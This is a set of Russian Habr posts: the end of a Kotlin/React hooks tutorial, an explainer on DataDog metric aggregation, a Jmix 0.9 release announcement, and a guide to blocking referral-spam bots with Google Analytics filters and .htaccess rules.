Реакт заботится о правильном жизненном цикле компонента, поэтому переменная `count` будет инициализирована только один раз, а последующие рендеринги будут использовать актуальное состояние. В итоге писать функциональные компоненты несколько проще, чем классовые, так как функциональность получается аналогичной, но код более компактный.
Больше о хуке State можно узнать в [официальной документации](https://reactjs.org/docs/hooks-state.html).
**Примечание от переводчика**: в Котлине также доступна более удобная работа с `useState` – как с изменяемой переменной-делегатом. Тогда код упрощается, однако, становится менее похожим на традиционный Реакт:
```
val counter = functionalComponent {
var count by useState(0)
button {
attrs.onClickFunction = { ++count }
+"$count"
}
}
```
### Хук Effect
Хук эффекта приходит на помощь, когда необходимо совершить какое-нибудь побочное действие внутри компонента – такое как вызов API или установление WebSocket соединения. Для демонстрации мы реализовали следующий компонент, который запрашивает случайный факт и по приходе ответа отображает его в теге `h3`:
```
val randomFact = functionalComponent {
val (randomFact, setRandomFact) = useState(null)
useEffect(emptyList()) {
GlobalScope.launch {
val fortyTwoFact = window.fetch("http://numbersapi.com/42").await().text().await()
setRandomFact(fortyTwoFact)
}
}
h3 { +(randomFact ?: "Fetching...") }
}
```
Чтобы следить за результатом запроса, мы используем хук состояния, почти такой же, как в предыдущем параграфе. Сам запрос мы совершаем внутри `useEffect`, где при получении результата вызываем `setRandomFact` для сохранения этого текста в состоянии.
Заметьте, что `useEffect` вызывается с двумя параматрами. Второй – это функция, а первый – *зависимости* эффекта. Зависимости определяют, какие свойства и состояния должны измениться, чтобы запустить переданную в `useEffect` функцию вновь. В нашем случае мы хотим сделать только один запрос к API независимо от других событий в приложении. Поэтому мы передаем пустой список в качестве зависимостей.
Если же не передавать пустой список, то в таком случае хук эффекта будет вызываться после каждого вызова `setRandomFact`, так что получится бесконечный цикл.
Больше об этих и других тонкостях хука Effect, а также о его соотнесении с "классическим" жизненным циклом в Реакте, можно опять же узнать в [официальной документации](https://reactjs.org/docs/hooks-effect.html).
### Домашнее задание
Если хотите, можете конвертировать какие-нибудь компоненты нашего приложения, например, `videoList`, в функциональные компоненты с хуками. Хук `useState` пригодится в большинстве компонентов, а вот `useEffect` будет важен при общении с внешним API, которое мы сделали на шаге 8.
Классовые и функциональные компоненты могут жить припеваючи в одном Реакт приложении, поэтому вы можете просто добавить *новый* функциональный компонент в наше приложение.
Шаг 11. Что дальше?
-------------------
### Дополнительные фичи приложения
Конечно же, сделанное нами приложение далеко не идеально. Однако этот результат вы можете использовать как стартовую точку для изучения дальнейших тем в сфере Реакта, Kotlin/JS и других близких технологий.
#### Поиск
Было бы отлично иметь возможность фильтровать список видео по заголовку или докладчику. Для этого хорошо подойдет поисковая строка, которую можно реализовать в качестве дополнительного функционала. Вы можете изучить, как [предлагается работать с HTML формами в Реакте](https://reactjs.org/docs/forms.html), и сразу же применить полученные знания на практике.
#### Персистентность
Наше приложение теряет состояние просмотренного контента каждый раз при перезагрузке страницы. Возможно, настало время сделать бэк-энд. Познакомьтесь с каким-нибудь веб фреймворком, поддерживаемым Котлином (таким как [Ktor](https://ktor.io/)), и попробуйте написать сервер для нашего приложения, который будет сохранять список просмотренных и непросмотренных видео. Или же можно обойтись без бэк-энда и [сохранять информацию прямо на клиенте](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage).
#### Сложные APIs
В прекрасном мире веба есть множество датасетов и APIs, с которыми можно поиграться. Почему бы не создать фотогалерею для [фоток котеек](https://thecatapi.com/)? Или разукрасить свою жизнь с помощью [бесплатного сервиса с разнообразными фотографиями](https://unsplash.com/developers) (**примечание переводчика**: не забудьте обратить внимание на [лицензию](https://unsplash.com/license))? Количество данных, которые можно затащить в свое приложение, просто неисчислимо!
### Стили получше: отзывчивость и сетки
На данный момент наше приложение в экстремальных ситуациях выглядит кривовато, например, в узких окнах и на экранах смартфонов. Как раз можно изучить CSS сетки (grids) и сделать приложение отзывчивым к размерам страницы (бонусная задачка: не использовать медиавыражения).
### Другие библиотеки
В репозитории [kotlin-wrappers](https://github.com/JetBrains/kotlin-wrappers) можно найти больше официальных котлиновских оберток для разных JS библиотек, а также первоначальную информацию по их использованию. Например (но не ограничиваясь):
* [React-Redux](https://github.com/JetBrains/kotlin-wrappers/tree/master/kotlin-react-redux).
* [React-Router-DOM](https://github.com/JetBrains/kotlin-wrappers/tree/master/kotlin-react-router-dom).
### Сообщество, помощь и решение проблем
Лучший способ получить помощь по созданию Реакт приложений на Котлине – посетить [YouTrack](https://youtrack.jetbrains.com/issues/CRKA). Если вы не можете найти вашу проблему, не бойтесь создать еще один тикет. Также можно присоединиться к [официальному котлиновскому Slack](https://surveys.jetbrains.com/s3/kotlin-slack-sign-up). Там есть много каналов, включая `#javascript` и `#react`.
### Дальнейшее изучение корутин
Мы совсем чуть-чуть потрогали мощные концепции корутин, которые стоит использовать во многих приложениях. Если вам интересно узнать больше о написании конкурентного кода, предлагаем начать с [практики по корутинам](https://play.kotlinlang.org/hands-on/Introduction%20to%20Coroutines%20and%20Channels/01_Introduction).
### Дальнейшее изучение Реакта
[Официальная документация по Реакту](https://reactjs.org/docs/) написана довольно исчерпывающе и вообще хорошо. Вы теперь знаете базовые идеи Реакта и их использование из Котлина, поэтому надеемся, что вы сможете разобраться с остальными концепциями из официальной документации и перевести их на Котлин.
Возможно, в будущем вы даже станете профессионалом котлиновского Реакта!
Послесловие от переводчика
--------------------------
Спасибо, что дошли до конца! Если вы оценили Kotlin/JS и планируете продолжать его изучение, следующим шагом я бы порекомендовал научиться читать JS, а в особенности JSX – примеры по Реакту используют именно это, поэтому нужно понимать, как переписывать их на Котлин.
Предрекая вопросы, расскажу, почему я сам сделал выбор в пользу Kotlin DSL. В отличие от отдельно придуманного синтаксиса JSX со своими особенностями, Kotlin DSL довольно привычен и интуитивен для тех, кто уже работал с Котлином. Здесь, как говорилось, можно использовать обычные котлиновские конструкции вроде циклов, а для подключения Реакта к своему проекту достаточно подключить библиотеку – настраивать компиляцию не надо. В общем, на Котлине писать выходит более комфортно, хотя и все еще менее производительно. С нетерпением жду развития Kotlin/JS и сообщества вокруг него! | https://habr.com/ru/post/555744/ | null | ru | null |
# Агрегации метрик DataDog
*На пути от наблюдаемой системы до пользователя DataDog (здесь и далее - DD) метрические данные неизбежно проходят несколько этапов агрегации. Это означает, что в момент чтения метрик пользователь DD оперирует не конкретными значениями, а их агрегатами. Теоретически возможно записать в DD метрики таким образом, чтобы они в итоге не были подвержены агрегации, но это не имеет смысла и противоречит самой концепции DD.*
Восприятие агрегатов DD за точные значения метрик в точный момент времени – это распространенная ошибка, которая может привести к неправильной трактовке метрик, а следовательно – к ложным выводам о состоянии системы. Поэтому важно понимать, как именно и на каких этапах происходят агрегации полученных от системы данных.
### Агрегации на стороне агента
Для доставки метрик DD использует протокол DogStatsD (сервер DogStatsD встроен в агент DD), который является расширенной реализацией протокола StatsD от Etsy (<https://github.com/statsd/statsd>). Как и StatsD, DogStatsD подразумевает накопление полученных метрик в течении заданного интервала времени с последующей их агрегацией и пересылкой. Агрегация необходима для повышения производительности системы сбора метрик и снижения нагрузки на нее.
Например, агент получил 1000 инкрементов некоей метрики типа COUNT за интервал времени. Вместо того, чтобы производить 1000 вызовов API, по одному на инкремент, агент DD суммирует их значения по ключу ИМЯ+МЕТКИ, и производит пересылку только полученных агрегатов. Количество вызовов API таким образом многократно снижается: если метки всех инкрементов из примера совпадают, то агент произведет пересылку только одного агрегата (<https://docs.datadoghq.com/developers/dogstatsd/data_aggregation/#how-is-aggregation-performed-with-the-dogstatsd-server>).
Длина интервала накопления может меняться в зависимости от источника метрик. Для частных метрик она составляет 10 секунд, после чего происходит агрегация. Агрегату присваивается отметка времени, соответствующая началу интервала. Таким образом, из частных метрик, полученных с 12:00:00 до 12:00:10, создается агрегат с отметкой времени 12:00:00. В терминологии DD агрегаты, созданные на стороне агента, называются точками данных (datapoint).
Способы, которыми DogStatsD агрегирует полученные за интервал накопления данные, зависят от типа метрик:
* GAUGE: пересылается последнее полученное значение метрики;
* COUNT: пересылается сумма полученных значений;
* HISTOGRAM: пересылается набор агрегатов, заданных в конфигурации агента: количество полученных значений, минимальное и максимальное значения, их сумма, среднее, медиана и набор перцентилей;
* SET: пересылается набор уникальных полученных значений;
* DISTRIBUTION: значения агрегируются и пересылаются, как глобальное распределение.
### Агрегации на стороне приложения DataDog
Из агента агрегаты в итоге попадают в бэк-энд DD, который осуществляет их хранение, поиск, визуализацию и автоматический анализ. Они хранятся в своем первоначальном виде и со временем не меняются. Несмотря на это, на стороне DD агрегация производится при обработке запроса данных метрик для их визуализации.
Можно выделить два типа агрегаций, автоматически выполняемых на стороне DD: пространственная и по времени. Так же к метрикам в DD можно вручную применить свертку по времени, что позволит полнее контролировать агрегации.
### Пространственная агрегация
Пространственная агрегация производится при выполнении запроса с фильтром по набору меток, для которого отсутствует готовый агрегат.
Например, за интервал накопления метрик агент получил 5 инкрементов метрики «act..app.start» типа COUNT, показывающей количество запусков приложения:
* 3 инкремента с метками «host:75ab75c0b32b;success:true»;
* 1 инкремента с метками «host:75ab75c0b32b;success:false»;
* 1 инкремент с метками «host:9503fdc385a3;success:true».
То есть, на хосте «75ab75c0b32b» приложение запускалось 4 раза. Из них 3 раза успешно, а 1 - нет. На хосте «9503fdc385a3» приложение запускалось 1 раз, успешно.
По истечении интервала агент построит 3 агрегата (по одному на каждый набор меток) и отправит их в бэк-энд DD, который сохранит их в таком же виде.
Пусть требуется построить временной ряд в виде столбцов для неуспешных запусков приложения независимо от хоста. В этой ситуации у DD не будет агрегата, который подошел бы для построения отсчета на графике, поэтому он выполнит дополнительную агрегацию: просуммирует значения тех агрегатов, среди меток которых есть «success:false», либо вычислит по ним среднее.
### Агрегация по времени
Как уже упоминалось, DD хранит агрегаты метрик в неизменном виде. Соответственно, каждый из них вычислен на достаточно коротком интервале времени. Например, для частных метрик это интервал длиной в 10 секунд.
При построении временных рядов DD автоматически выбирает размер одного отсчета на горизонтальной оси, пытаясь найти баланс между точностью графика, и его читаемостью. Как правило, выбранный размер отсчета превышает размер интервала агрегата. В этом случае для построения графика DD так же выполнит дополнительную агрегацию.
### Управление автоматической агрегацией на стороне DataDog
JSON-описание временного ряда в DD выглядит примерно так:
```
{
"viz": "timeseries",
"requests": [
{
"queries": [
{
"data_source": "metrics",
"name": "query1",
"query": "sum:act..app.start{success:false}.as_count()"
}
],
"response_format": "timeseries",
"type": "bars"
}
]
}
}
```
Выделенное поле query содержит запрос данных, который DD должен выполнить для построения графика.
«sum» в начале строки запроса указывает DD, что как для пространственной, так и для временной агрегации необходимо выполнить суммирование значений агрегатов, доступных для построения одного отсчета графика.
Кроме суммирования, DD так же может вычислять из доступных для отсчета агрегатов среднее. В этом случае строка запроса начиналась бы с «avg» и выглядела бы так:
```
"query": "avg:act..app.start{success:false}.as_count()"
```
Важно отметить, что для вычисления среднего могут быть использованы
### Ручная свертка по времени
Ручная свертка позволяет пользователю самостоятельно задать размер отсчета временного ряда, а также предоставляет больше типов агрегации для его построения.
Свертка доступна, как функция «.rollup()», применяемая к метрике. Принимает два параметра: – тип агрегации, который будет применяться к данным отсчета (count, min, max, sum, avg), и – размер интервала, на котором будет производится свертка (необязательный).
Строка запроса для свертки суммированием на интервале 1 минута будет иметь вид:
```
"query": "sum:act..app.start{success:false}.as_count().rollup(sum, 60)"
```
При построении временного ряда DD определяет минимальный размер отсчета. Передача параметра при вызове .rollup() задаст размер отсчета на графике только в том случае, если его значение не превышает минимум, определенный DD. В противном случае, а также в случае, когда параметр не передан, как размер отсчета будет использован интервал, определенный DD, и .rollup() будет выполнен на нем. О том, какой минимальный размер отсчета в разных ситуациях выбирает DD, можно узнать из таблицы по ссылке (<https://docs.datadoghq.com/dashboards/functions/rollup/#rollup-interval-enforced-vs-custom>).
### Интерполяция
Хотя это и не относится к агрегации данных, хотелось бы также вкратце упомянуть про интерполяцию в DD, так как некоторые ее особенности могут привести к тем же проблемам, что и особенности агрегации.
Важно помнить, что к метрикам типа GAUGE DD автоматически применяет линейную интерполяцию, заполняя таким образом отсчеты, данные для которых отсутствуют. Обычно это не мешает, так как графики становятся более плавными, и, соответственно, более читаемыми. Но из-за того, что полученные с помощью интерполяции отсчеты никак не выделены на графике, он может ввести пользователя в заблуждение.
Для примера рассмотрим метрику «rabbitmq.queue.messages\_ready» из интеграции DD с rabbitmq. Метрика показывает, сколько сообщений в rmq находятся в состоянии «ready», что можно условно принять за размер очередей. Построенный по этой метрике временной ряд будет выглядеть следующим образом:
По графику можно сделать вывод, что за период размер очередей плавно нарастал, достиг плато, а затем начал плавно снижаться.
Если отключить интерполяцию, то картина изменится:
По графику без интерполяции можно понять, для каких отчетов у DD есть данные (пики), а для каких – нет. Также стало видно, что между 16:01 и 16:02 происходило кратковременное уменьшение размера очередей, после чего начался их более резкий рост. Подобная информация может быть крайне важной в процессе диагностики. Поэтому хорошей практикой при работе с метриками GAUGE является построение как графиков с интерполяцией, так и графиков без нее.
Отключить или изменить интерполяцию можно с помощью функции «.fill()», принимающей параметры и .
![]()#####
Developer в Social Discovery Ventures | https://habr.com/ru/post/681470/ | null | ru | null |
# Анонс Jmix 0.9 — предварительный релиз фреймворка
*Мы в компании Haulmont разрабатываем [Jmix](https://jmix.ru). Это фреймворк с открытым кодом для разработки backend для data-centric приложений, основанный на Spring Boot, наследник [CUBA Platform](https://www.cuba-platform.ru/).*
*Мы предоставляем готовую архитектуру, сервисы и API, которые строятся поверх модели данных, а разработчики уже строят эту модель данных (JPA) и пишут бизнес-логику (Spring Boot). Всё остальное предоставляется из коробки или может быть легко подключено: подсистемы безопасности и аудита, автоматическое создание REST API, multi-tenancy и прочие системные сервисы. В дополнение разработан инструментарий для более эффективной работы с фреймворком.*
Jmix 0.9 — это последняя предрелизная, “практически стабильная” ветка фреймворка. Вместе с этим релизом мы также обновляем инструмент для Jmix разработчиков — Jmix Studio: 0.9.1-202.
В этом релизе мы “заморозили” все основные API: определение модели данных, слой доступа к БД, а также систему безопасности. С большой долей вероятности все это будет перенесено без изменений в версию 1.0. Это означает, что можно рассматривать Jmix 0.9 как отличный вариант для разработки MVP. Ожидается, что миграция на 1.0 будет практически незаметной.
Давайте взглянем на самые заметные изменения в разных частях фреймворка.
Jmix Studio
-----------
Первая вещь, о которой стоит упомянуть: теперь на Jmix можно создавать разные виды проектов. В версии 0.9 при создании проекта вы можете выбрать три вида шаблонов:
* *Application* — для создания “обычного” Jmix приложения.
* *Theme* — для создания темы CSS для приложения. Тему можно будет установить в Jmix приложение в виде компонента.
* *Widget* — этот тип проекта упрощает разработку собственного элемента пользовательского интерфейса.
Для облегчения работы Studio предоставляет [отдельное окно для работы с проектом](https://docs.jmix.io/jmix/0.x/studio/tool-window.html). С его помощью вы можете просматривать файлы настроек приложения, исследовать модель данных, конфигурировать источники данных и делать ещё множество специфичных для Jmix вещей.
Core
----
Ядро фреймворка сейчас основано на Spring Boot 2.4.2, и мы планируем обновить его до последней версии — 2.4.4 в Jmix 1.0. И, конечно же, процесс обновления на этом не остановится, а продолжится с выходом новых версий Spring Boot.
Как уже было объявлено, основным средством обновления БД в Jmix становится Liquibase. Как это было в CUBA, при обновлении модели данных в приложении обновляются и скрипты создания БД. Но в отличие от предшественника, в Jmix эти скрипты теперь создаются в формате XML и благодаря движку Liquibase могут выполняться на разных СУБД.
Опытные CUBA разработчики обязательно заметят непривычную деталь: теперь в коде “пустого” приложения появился класс `User`, который раньше прятался в недрах фреймворка. Это сознательный ход: мы решили генерировать ключевые классы подсистемы управления пользователями непосредственно для каждого приложения. Это должно сильно упростить изменение функциональности по работе с пользователями и привилегиями, если такая необходимость возникнет.
Backoffice UI
-------------
В настоящий момент все компоненты переделаны под использование API Jmix и готовы к релизу. Напоминание: в Jmix Backoffice UI располагается в одном модуле с бизнес-логикой. Больше нет разделения на модули `core` и `web`, как это было в CUBA.
На данный момент Backoffice UI добавляется в Jmix проект по умолчанию. Но это всего лишь ещё одна запись в списке зависимостей в скрипте сборки. Так что при необходимости вы можете легко удалить UI из приложения. И, конечно же, генераторы экранов включены в Jmix Studio, так что добавление CRUD функциональности в приложение делается за пару кликов.
React UI
--------
Генератор React клиента был значительно улучшен. Продолжается разработка библиотек для упрощения разработки на ReactJS под Jmix. В настоящий момент уже создано две библиотеки: [Jmix React Core](https://docs.jmix.io/jmix-frontend-docs/0.x/jmix-react-core/index.html) для работы с сущностями и сервисами Jmix и [Jmix React UI](https://docs.jmix.io/jmix-frontend-docs/0.x/jmix-react-ui/index.html) — набор UI компонентов для быстрой разработки пользовательского интерфейса.
И теперь есть возможность применения собственных тем для React клиента, аналогично тому, как это делается для Backoffice UI. Созданию новых тем посвящен целый [раздел документации](https://docs.jmix.io/jmix-frontend-docs/0.x/client-react/theme.html).
Компоненты
----------
Сейчас для скачивания доступно шесть компонентов:
* REST API
* Maps
* Dynamic Attributes
* Entity Log
* Email
* Entity Inspector
Мы продолжаем активную работу над адаптацией компонентов для Jmix, и для версии 0.9 будут выпущены BPM и Charts компоненты. К выпуску 1.0 мы постараемся адаптировать большинство самых часто используемых компонентов.
Заключение
----------
Если у вас были мысли об использовании Jmix, то сейчас очень хорошее время, чтобы начать это делать. API стабилизирован, так что ничего не нужно будет переделывать при миграции MVP на стабильную версию в будущем.
И в то же время, при работе с фреймворком можно уже попробовать добавлять компоненты Spring Boot, пробовать разворачивать приложение в облаках при помощи встроенной генерации Docker образа, и все это — при сохранении непревзойденной скорости разработки, так знакомой тем, кто начинал с CUBA. | https://habr.com/ru/post/552592/ | null | ru | null |
# Как удалить фейковый трафик с вашего сайта
Очень часто мы отмечаем всплеск трафика на сайте, анализируя данные, собранные Google Analytics. Это воспринимается как интерес к ресурсу. И, разумеется, такой рост посещаемости не может не радовать.
Но это не всегда повод для радости. Позже мы обнаруживаем, что большая часть этого реферального трафика была отправлена от спамеров. Именно спам стал большой проблемой в последнее время.
Реферальный спам происходит, когда ваш сайт получает поддельные направления трафика от спам-ботов. Эта подделка трафика и записывается Google Analytics. Если вы замечаете в Аналитике трафик, полученный из спам источников, вам необходимо выполнить определенные действия, чтобы устранить эти данные из статистики.
#### Что такое бот?
Ботами принято называть программы, задача которых – выполнение повторяющихся задач с максимальной скоростью и степенью точности.
Традиционный вариант использования ботов — веб-индексация содержимого интернет-ресурсов, регулярно осуществляемая поисковиками. Но боты также могут использоваться и в злонамеренных целях. Например, для:
* совершения мошенничества путем кликов;
* аккумуляции адресов e-mail;
* передачи содержания веб-сайтов;
* распространения вредоносного программного обеспечения;
* искусственного завышения трафика ресурса.
Анализируя задачи, для которых используются боты, можно разделить их на безопасные и опасные.
**Опасные и безопасные боты**
Пример хорошего бота — «Googlebot», используемый Google для сканирования и индексации веб-страниц в интернете.
Большинство ботов (будь то безопасные или опасные), не выполняют сценарии JavaScript, но некоторые это делают.
Поисковые боты, которые выполняют сценарии Javascript (как код аналитики Google) проявляются в отчетах Google Analytics и искажают показатели трафика (прямой трафик, реферальный трафик) и прочих метрических данных на основе сессий (показатель отказов, коэффициент конверсии и др).
Поисковые боты, которые не выполняют JavaScript (например, Googlebot), не искажают вышеуказанные данные. Но их посещения все равно записываются в логи сервера. Они также потребляют ресурсы сервера, ухудшают пропускную способность и способны негативно повлиять на скорость загрузки сайта.
Безопасные боты, в отличие от опасных, подчиняются директиве robots.txt. Они способны создавать поддельные учетные записи пользователей, рассылать спам, собирать адреса электронной почты и могут обходить CAPTCHA.
Опасные боты используют различные методы, усложняющие их обнаружение. Они могут влиять на веб-браузер (например, Chrome, Internet Explorer и т.д.), а также на трафик, поступающий от нормального сайта.
Невозможно сказать наверняка, какие опасные боты могут исказить данные аналитики Гугл, а какие — нет. Поэтому стоит рассматривать все опасные боты как угрозу целостности данных.
**Спам-боты**
Как понятно из названия, главная задача этих ботов – спам. Они посещают огромное количество веб-ресурсов ежедневно, отправляя HTTP запросы на сайты с поддельными заголовками реферера. Это позволяет им избежать обнаружения в качестве ботов.
Подделанный заголовок реферера содержит адрес веб-сайта, который спамер хочет продвигать, либо получать обратные ссылки.
Когда ваш сайт получает запрос HTTP от спам-бота с поддельным заголовком реферера, он сразу же записывается в журнале сервера. Если ваш журнал сервера имеет открытый доступ, то он может быть просканирован и проиндексирован Google. Система обрабатывает значение реферера в журнале сервера как обратную ссылку, которая в итоге влияет на ранжирование веб-сайта, продвигаемого спамером.
В последнее время алгоритмы индексации Google построены таким образом, чтобы не учитывать данные из логов. Это нивелирует старания создателей подобных ботов.
Спам-боты, имеющие возможность выполнять сценарии JavaScript, способны обходить методы фильтрации, используемые Google Analytics. Благодаря этой способности этот трафик отражается в аналитических отчетах Google.
**Ботнет**
Когда спам-бот использует ботнет (сеть зараженных компьютеров, расположенных локально или по всему миру), он может получить доступ к веб-сайту с помощью сотен различных IP-адресов. В этом случае черный список IP адресов или **rate limiting****(rate of traffic sent or received)** становятся в значительной степени бесполезными.
*Способность спам-бота искажать трафик на ваш сайт прямо пропорциональна размеру ботнета, который использует спам-бот.*
При большом размере ботнета с отличающимися друг от друга IP-адресами, спам-бот может получать доступ к вашему веб-сайту без блокирования брандмауэром или другим традиционным механизмом безопасности.
*Не все спам-боты отправляют заголовки реферера.*
В этом случае трафик от таких ботов не появится как источник реферального трафика в отчетах Google Analytics. Он выглядит как прямой трафик, что делает его еще более трудным для обнаружения. Иными словами, всякий раз, когда реферер не передается, этот трафик обрабатывается в Google Analytics как прямой.
*Spambot может создать десятки поддельных заголовков рефереров.*
Если вы заблокировали один источник реферера, спам-боты отправят на сайт очередную подделку. Поэтому фильтры на спам в Google Analytics или .htaccess, не дают гарантии, что ваш сайт полностью заблокирован от спам-ботов.
Теперь вы знаете, что не все спам-боты являются опасными. Но некоторые из них действительно опасны.
**Очень опасные спам-боты**
Цель действительно опасных спам-ботов — не только исказить трафик вашего веб-ресурса, очистить содержимое или получить адреса e-mail. Их цель — заразить чужой компьютер вредоносным ПО, сделать вашу машину частью бот-сети.
Как только ваш компьютер интегрируется в сеть ботнета, он начинает использоваться для пересылки спама, вирусов и других вредоносных программ на другие компьютеры в сети Интернет.
Есть сотни и тысячи компьютеров по всему миру, которые используются реальными людьми, одновременно являясь частью ботнета.
*Существует высокая вероятность, что ваш компьютер является частью ботнета, но вы не знаете об этом.*
Если вы решили заблокировать ботнет, вы, скорее всего, блокируете трафик, поступающий от реальных пользователей.
Существует вероятность, что как только вы заходите на подозрительный сайт из вашего отчета реферального трафика, ваша машина заражается вредоносным ПО.
Поэтому не посещайте подозрительные сайты из отчетов аналитики, не установов надлежащей защиты (антивирусных программ, установленных на вашем компьютере). Предпочтительно использование отдельной машины специально для посещения таких сайтов. Как вариант, можно обратиться к системному администратору, чтобы справиться с этой проблемой.
**Умные спам-боты**
Некоторые спам-боты (как darodar.com) могут посылать искусственный трафик даже без посещения вашего сайта. Они делают это путем воспроизведения HTTP запросов, которые исходит от кода отслеживания Google Analytics, используя при этом ваш идентификатор веб-ресурса. Они не только могут отправить вам поддельный трафик, но также и поддельных рефереров. Например, bbc.co.uk. Так как BBC является законным сайтом, то когда вы видите этот реферер в своем отчете, вы даже не думаете, что трафик, поступающий с уважаемого сайта, может быть фальшивкой. На самом же деле никто с BBC не посещал ваш сайт.
*Этим умным и опасным ботам не нужно посещать ваш веб-сайт или выполнять сценарии JavaScript. Поскольку они фактически не посещают ваш сайт, эти посещения не записываются в журнал сервера.*
И, раз их посещения не записываются в журнал сервера, вы не можете заблокировать их с помощью любых средств (блокирование IP, пользователя, реферального трафика и т.д.).
Умные спам-боты сканируют ваш сайт в поисках идентификаторов веб-собственности. Люди, которые не используют Google Tag Manager, оставляют код отслеживания Google Analytics на своих веб-страницах.
Код отслеживания Google Analytics содержит ваш идентификатор веб-ресурса. Идентификатор крадется умным спам-ботом и может передаваться в использование другим ботам. Никто не станет гарантировать, что бот, укравший ваш идентификатор веб-ресурса и бот, посылающий вам искусственный трафик, — одно и то же «лицо».
Вы можете решить эту проблему, воспользовавшись Google Tag Manager (GTM).
Используйте GTM для отслеживания Google Analytics на вашем сайте. Если ID вашего веб-ресурса уже был заимствован, то решать эту проблему, скорее всего, уже слишком поздно. Все, что вы можете сделать сейчас, — использовать другой ID или ждать решения проблемы со стороны Google.
**Не любой сайт попадает под атаку спам-ботов.**
Изначально задача спам-ботов — обнаружение и использование уязвимых сторон веб-ресурса. Они атакуют слабо защищенные сайты. Соответственно, если вы разместили страничку на «бюджетном» хостинге или с помощью пользовательского CMS, у него велики шансы подвергнуться нападению.
Иногда сайту, который часто попадает под атаку опасных ботов, достаточно сменить свой веб-хостинг. Этот простой способ действительно может помочь.
#### Следуйте инструкциям ниже, чтобы обнаружить источники спама
1) Перейдите к отчету реферального трафика в вашем аккаунте Google Analytics и отсортируйте отчет по проценту отказов в порядке убывания:
2) Посмотрите на рефереров с 100% или 0% показателем отказов, а также на тех, у кого 10 или более сессий. Скорее всего, это спамеры.
3) Если один из ваших подозрительных рефереров принадлежат к списку нижеперечисленных сайтов, то это реферальный спам. Вам можно не проверять это самостоятельно:
*buttons-for-website.com*
*7makemoneyonline.com*
*ilovevitaly.ru*
*resellerclub.com*
*vodkoved.ru*
*cenokos.ru*
*76brighton.co.uk*
*sharebutton.net*
```
*simple-share-buttons.com*
```
```
*forum20.smailik.org*
```
```
*social-buttons.com*
```
```
*forum.topic39398713.darodar.com*
```
Исчерпывающий перечень источников спама можно скачать [здесь](http://seoanalytics.pro/content/spam-bot-stop-list.txt).
4) Когда не удалось подтвердить личность вашего подозрительного реферера, возьмите на себя риск и посетите сомнительный веб-сайт. Возможно, это действительно нормальный ресурс. Удостоверьтесь, что у вас есть антивирусное программное обеспечение, прежде чем посещать подобные сомнительные ресурсы. Они способны заразить ваш компьютер в момент перехода на их страницу.
5) После подтверждения идентичности опасных ботов следующий шаг заключается в блокировании их от посещения вашего сайта еще раз.
#### Как же можно ограничить свой сайт от спам-ботов?
***Создайте аннотацию на вашем графике и напишите******записку с объяснением, что вызвало необычный всплеск трафика***. Можно будет сбрасывать этот трафик со счетов во время анализа.
***Блокируйте реферальный спам, используя возможности Spambot***. К файлу .htaccess (или веб-конфигурации, если используется IIS) добавьте указанный ниже код:
```
RewriteEngine On
Options +FollowSymlinks
RewriteCond %{HTTP_REFERER} ^https?://([^.]+\.)*buttons-for-website\.com\ [NC,OR]
RewriteRule .* – [F]
```
Этот код будет блокировать все HTTP и HTTPS направления от buttons-for-website.com, включая поддомены buttons-for-website.com.
***Заблокируйте IP-адресиспользуемый спам-ботом***. Возьмите .htaccess файл и дополните кодом, показанным ниже:
RewriteEngine On
Options +FollowSymlinks
Order Deny,Allow
Deny from 234.45.12.33
*Примечание*: Нет необходимости в копировании кода в ваш .htaccess — схема не сработает. Здесь продемонстрирован лишь пример, обеспечивающий блокировку IP-адреса в файле .htaccess.
Спам-боты способны использовать различные IP-адреса. Систематически пополняйте список IP-адресов спам-ботов, имеющихся на вашем сайте.
*Подвергайте блокировке лишь IP-адреса, оказывающие влияние на сайт.*
Бессмысленно стремиться заблокировать каждый из известных IP-адресов. Файл .htaccess превратится в очень громоздкий. Им станет трудно управлять, снизится производительность веб-сервера.
Заметили, что количество сток черного списка IР-адресов стремительно увеличивается? Налицо явный признак возникших проблем с безопасностью. Обратитесь к представителю веб-хостинга или системному администратору. Используйте Google, чтобы найти черный список для блокирования IP-адресов. Автоматизируйте эту работу, составив сценарий, способный самостоятельно находить и запрещать IP-адреса, чья вредоносность не подвергается сомнению.
***Воспользуйтесь возможностью блокировки диапазонов IP-адресов, используемых ботами-спамерами***. Когда есть уверенность, что конкретный диапазон IP-адресов используется спам-ботом, можно одним движением заблокировать сразу ряд IP-адресов, как показано ниже:
*RewriteEngine**On*
*Options* *+**FollowSymlinks*
*Deny**from* *76.149.24.0/24*
*Allow from all*
Здесь 76.149.24.0/24 — диапазон CIDR (CIDR — метод, используемый для представления диапазонов адресов).
Использование блокировки по CIDR результативнее блокирования конкретных IP-адресов, поскольку позволяет занимать минимум пространства на сервере.
*Примечание:* Вы можете скрыть в CIDR ряд IP адресов и наоборот открыть их с помощью этого инструмента: [www.ipaddressguide.com/cidr](http://www.ipaddressguide.com/cidr)
***Блокируйте запрещенных пользователей, использующих спам-ботов***. Анализируйте лог-файлы сервера еженедельно, обнаруживайте и блокируйте вредоносные агенты пользователей, использующих спам-ботов. После блокировки они не смогут получить доступ к веб-ресурсу. Возможность сделать это показана ниже:
*RewriteEngine**On*
*Options +FollowSymlinks*
*RewriteCond %{HTTP\_USER\_AGENT} Baiduspider [NC]*
*RewriteRule .\* – [F,L]*
Воспользовавшись поисковой строкой Гугл, можно получить внушительный список ресурсов, которые поддерживают записи известных запрещенных агентов пользователей. Воспользуйтесь полученными сведениями для выявления таких агентов пользователей на вашем сайте.
Самый простой способ — написание сценария, позволяющего автоматизировать весь процесс. Составьте базу данных со всеми известными запрещенными агентами пользователей. Используйте скрипт, который будет автоматически идентифицировать и блокировать их, опираясь на данные из базы. Регулярно пополняйте базу данных новыми запрещенными пользовательскими агентами – появляются таковые с завидным постоянством.
Блокируйте только пользовательские агенты, реально влияющие на ресурс. Бессмысленно стремиться к блокировке каждого известного IP-адреса — это сделает файл .htaccess чересчур большим, им станет трудно управлять. Снизится и производительность сервера.
***Пользуйтесь доступной в Google Analytics фильтрацей «Bot Filtering» — «Исключить хиты от известных ботов и пауков».***
***Проводите мониторинг логов сервера хотя бы еженедельно*****.** Положить начало борьбе с опасными ботами реально на уровне сервера. Пока не удалось «отвадить» спам-ботов от посещения вашего ресурса, не исключайте их из аналитической отчетности Гугла.
***Используйте брандмауэр***. Firewall станет надежным фильтром между вашим компьютером (сервером) и виртуальным пространством. Он способен защитить веб-ресурс и от опасных ботов.
